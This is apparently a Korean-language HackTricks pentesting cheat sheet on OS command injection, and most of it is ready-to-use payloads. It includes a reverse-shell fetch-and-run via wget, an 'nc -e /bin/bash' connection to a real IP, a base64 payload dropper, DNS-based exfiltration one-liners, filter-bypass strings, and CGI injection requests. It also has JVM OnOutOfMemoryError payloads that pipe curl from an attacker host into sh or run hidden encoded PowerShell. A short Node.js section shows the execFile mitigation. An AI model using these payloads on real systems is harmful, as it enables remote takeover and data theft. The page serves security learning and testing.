Command Injection

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

command Injection๋ž€ ๋ฌด์—‡์ธ๊ฐ€?

A command injection์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ํ˜ธ์ŠคํŒ…ํ•˜๋Š” ์„œ๋ฒ„์—์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์ž„์˜์˜ ์šด์˜ ์ฒด์ œ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ๊ฒฐ๊ณผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ๊ทธ ๋ชจ๋“  ๋ฐ์ดํ„ฐ๊ฐ€ ์™„์ „ํžˆ ์นจํ•ด๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ช…๋ น์˜ ์‹คํ–‰์€ ์ผ๋ฐ˜์ ์œผ๋กœ ๊ณต๊ฒฉ์ž๊ฐ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ํ™˜๊ฒฝ๊ณผ ํ•˜๋ถ€ ์‹œ์Šคํ…œ์— ๋Œ€ํ•ด ๋ฌด๋‹จ ์ ‘๊ทผ ๋˜๋Š” ์ œ์–ด๋ฅผ ํš๋“ํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

์ปจํ…์ŠคํŠธ

์ž…๋ ฅ์ด ์ฃผ์ž…๋˜๋Š” ์œ„์น˜์— ๋”ฐ๋ผ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ธฐ ์ „์— " ๋˜๋Š” '์„ ์‚ฌ์šฉํ•ด ์ธ์šฉ๋œ ์ปจํ…์ŠคํŠธ๋ฅผ ์ข…๋ฃŒํ•ด์•ผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2ยบ if 1ยบ finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2ยบ
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

์ œํ•œ Bypasses

๋งŒ์•ฝ arbitrary commands inside a linux machine๋ฅผ ์‹คํ–‰ํ•˜๋ ค๊ณ  ํ•œ๋‹ค๋ฉด, ์ด **Bypasses:**์— ๋Œ€ํ•ด ์ฝ์–ด๋ณด๋ฉด ๋„์›€์ด ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

Bypass Linux Restrictions

์˜ˆ์ œ

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

ํŒŒ๋ผ๋ฏธํ„ฐ

๋‹ค์Œ์€ code injection ๋ฐ ์œ ์‚ฌํ•œ RCE ์ทจ์•ฝ์ ์— ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ๋Š” ์ƒ์œ„ 25๊ฐœ ํŒŒ๋ผ๋ฏธํ„ฐ์ž…๋‹ˆ๋‹ค (์ถœ์ฒ˜: link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

๋ฐ์ดํ„ฐ ์ถ”์ถœ: ๋ฌธ์ž ๋‹จ์œ„๋กœ

swissky@crashlabโ–ธ ~ โ–ธ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlabโ–ธ ~ โ–ธ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

๋„๊ตฌ https://github.com/HoLyVieR/dnsbin๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•˜๋ฉฐ, dnsbin.zhack.ca์—์„œ๋„ ํ˜ธ์ŠคํŒ…๋ฉ๋‹ˆ๋‹ค

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

DNS based data exfiltration์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•œ ์˜จ๋ผ์ธ ๋„๊ตฌ:

  • dnsbin.zhack.ca
  • pingb.in

Filtering bypass

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

JavaScript/TypeScript ๋ฐฑ์—”๋“œ๋ฅผ ๊ฐ์‚ฌํ•  ๋•Œ Node.js child_process API๋ฅผ ์ž์ฃผ ๋งŒ๋‚˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* โ€ฆ */
});

exec()๋Š” shell (/bin/sh -c)์„ ์‹คํ–‰ํ•˜๋ฏ€๋กœ, shell์— ํŠน๋ณ„ํ•œ ์˜๋ฏธ๋ฅผ ๊ฐ–๋Š” ๋ฌธ์ž๋“ค(๋ฐฑํ‹ฑ, ;, &&, |, $(), โ€ฆ)์€ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๋ฌธ์ž์—ด์— ๊ฒฐํ•ฉํ•  ๊ฒฝ์šฐ command injection์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์™„ํ™”: execFile()(๋˜๋Š” spawn()์„ shell ์˜ต์…˜ ์—†์ด ์‚ฌ์šฉ)ํ•˜๊ณ  ๊ฐ ์ธ์ˆ˜๋ฅผ ๋ณ„๋„์˜ ๋ฐฐ์—ด ์š”์†Œ๋กœ ์ œ๊ณตํ•˜์—ฌ shell์ด ๊ฐœ์ž…ํ•˜์ง€ ์•Š๋„๋ก ํ•˜์„ธ์š”:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Real-world case: Synology Photos โ‰ค 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

๋ชจ๋“  ์ฃผ์ž…์ด shell ๋ฉ”ํƒ€๋ฌธ์ž๋ฅผ ํ•„์š”๋กœ ํ•˜์ง€๋Š” ์•Š์Šต๋‹ˆ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๋ฌธ์ž์—ด์„ ์‹œ์Šคํ…œ ์œ ํ‹ธ๋ฆฌํ‹ฐ์˜ ์ธ์ž๋กœ ๋„˜๊ธธ ๋•Œ(์‹ฌ์ง€์–ด execve/execFile๋กœ ํ˜ธ์ถœํ•˜๊ณ  shell์„ ๊ฑฐ์น˜์ง€ ์•Š๋”๋ผ๋„), ๋งŽ์€ ํ”„๋กœ๊ทธ๋žจ์€ ์—ฌ์ „ํžˆ - ๋˜๋Š” --๋กœ ์‹œ์ž‘ํ•˜๋Š” ์ธ์ž๋ฅผ ์˜ต์…˜์œผ๋กœ ํ•ด์„ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๋Š” shell์„ ๊นจ์ง€ ์•Š๊ณ ๋„ ๋™์ž‘ ๋ชจ๋“œ๋ฅผ ๋ฐ”๊พธ๊ฑฐ๋‚˜ ์ถœ๋ ฅ ๊ฒฝ๋กœ๋ฅผ ๋ณ€๊ฒฝํ•˜๊ฑฐ๋‚˜ ์œ„ํ—˜ํ•œ ๋™์ž‘์„ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Typical places where this appears:

  • ๋‚ด์žฅ๋œ ์›น UI/CGI ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ping <user>, tcpdump -i <iface> -w <file>, curl <url> ๊ฐ™์€ ๋ช…๋ น์„ ๊ตฌ์„ฑํ•  ๋•Œ.
  • ์ค‘์•™ ์ง‘์ค‘ํ˜• CGI ๋ผ์šฐํ„ฐ(์˜ˆ: /cgi-bin/<something>.cgi์—์„œ topicurl=<handler> ๊ฐ™์€ ์„ ํƒ์ž ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ) โ€” ์—ฌ๋Ÿฌ ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ๋™์ผํ•œ ์•ฝํ•œ ๊ฒ€์ฆ๊ธฐ๋ฅผ ์žฌ์‚ฌ์šฉํ•˜๋Š” ๊ณณ.

What to try:

  • -/--๋กœ ์‹œ์ž‘ํ•˜๋Š” ๊ฐ’์„ ์ œ๊ณตํ•˜์—ฌ ํ•˜์œ„ ๋„๊ตฌ๊ฐ€ ํ”Œ๋ž˜๊ทธ๋กœ ์†Œ๋น„ํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • ๋™์ž‘์„ ๋ณ€๊ฒฝํ•˜๊ฑฐ๋‚˜ ํŒŒ์ผ์„ ์“ฐ๋Š” ํ”Œ๋ž˜๊ทธ๋ฅผ ์•…์šฉํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ:
  • ping: -f/-c 100000 โ€” ์žฅ์น˜๋ฅผ ๊ณผ๋ถ€ํ•˜์‹œํ‚ค๊ธฐ ์œ„ํ•ด (DoS)
  • curl: -o /tmp/x โ€” ์ž„์˜ ๊ฒฝ๋กœ์— ์“ฐ๊ธฐ, -K <url> โ€” ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๊ตฌ์„ฑ ๋กœ๋“œ
  • tcpdump: -G 1 -W 1 -z /path/script.sh โ€” ์•ˆ์ „ํ•˜์ง€ ์•Š์€ ๋ž˜ํผ์—์„œ ๋กœ๊ทธ ํšŒ์ „ ํ›„ ์‹คํ–‰์„ ์œ ๋ฐœํ•˜๊ธฐ ์œ„ํ•ด
  • ํ”„๋กœ๊ทธ๋žจ์ด -- end-of-options๋ฅผ ์ง€์›ํ•˜๋ฉด, ์ž˜๋ชป๋œ ์œ„์น˜์— --๋ฅผ ์„ ํ–‰ํ•˜๋Š” ๋‹จ์ˆœํ•œ ์™„ํ™”์ฑ…์„ ์šฐํšŒํ•ด๋ณด์„ธ์š”.

Generic PoC shapes against centralized CGI dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

JVM diagnostic callbacks for guaranteed exec

JVM ๋ช…๋ น์ค„ ์ธ์ˆ˜๋ฅผ injectํ•  ์ˆ˜ ์žˆ๋Š” ์–ด๋–ค primitive๋“  (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents ๋“ฑ)๋ฅผ ์ด์šฉํ•˜๋ฉด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ฐ”์ดํŠธ์ฝ”๋“œ๋ฅผ ์ˆ˜์ •ํ•˜์ง€ ์•Š๊ณ ๋„ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” RCE๋กœ ์ „ํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  1. ๋ฉ”ํƒ€์ŠคํŽ˜์ด์Šค๋‚˜ ํž™์„ ์ถ•์†Œํ•˜์—ฌ ๊ฒฐ์ •๋ก ์  ํฌ๋ž˜์‹œ๋ฅผ ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค: -XX:MaxMetaspaceSize=16m (๋˜๋Š” ์•„์ฃผ ์ž‘์€ -Xmx). ์ด๋Š” ์ดˆ๊ธฐ ๋ถ€ํŠธ์ŠคํŠธ๋žฉ ๋‹จ๊ณ„์—์„œ๋„ OutOfMemoryError๋ฅผ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค.
  2. ์—๋Ÿฌ ํ›…์„ ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค: -XX:OnOutOfMemoryError="<cmd>" ๋˜๋Š” -XX:OnError="<cmd>"๋Š” JVM์ด ์ค‘๋‹จ๋  ๋•Œ๋งˆ๋‹ค ์ž„์˜์˜ OS ๋ช…๋ น์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.
  3. ์„ ํƒ์ ์œผ๋กœ -XX:+CrashOnOutOfMemoryError๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ๋ณต๊ตฌ ์‹œ๋„๋ฅผ ํ”ผํ•˜๊ณ  ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ผํšŒ์„ฑ์œผ๋กœ ์œ ์ง€ํ•˜์„ธ์š”.

Example payloads:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required and the command runs with the same integrity level as the launcher. Desktop IPC bugs that forward user-supplied JVM flags (see Localhost WebSocket abuse) therefore translate directly into OS command execution.

Brute-Force Detection List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ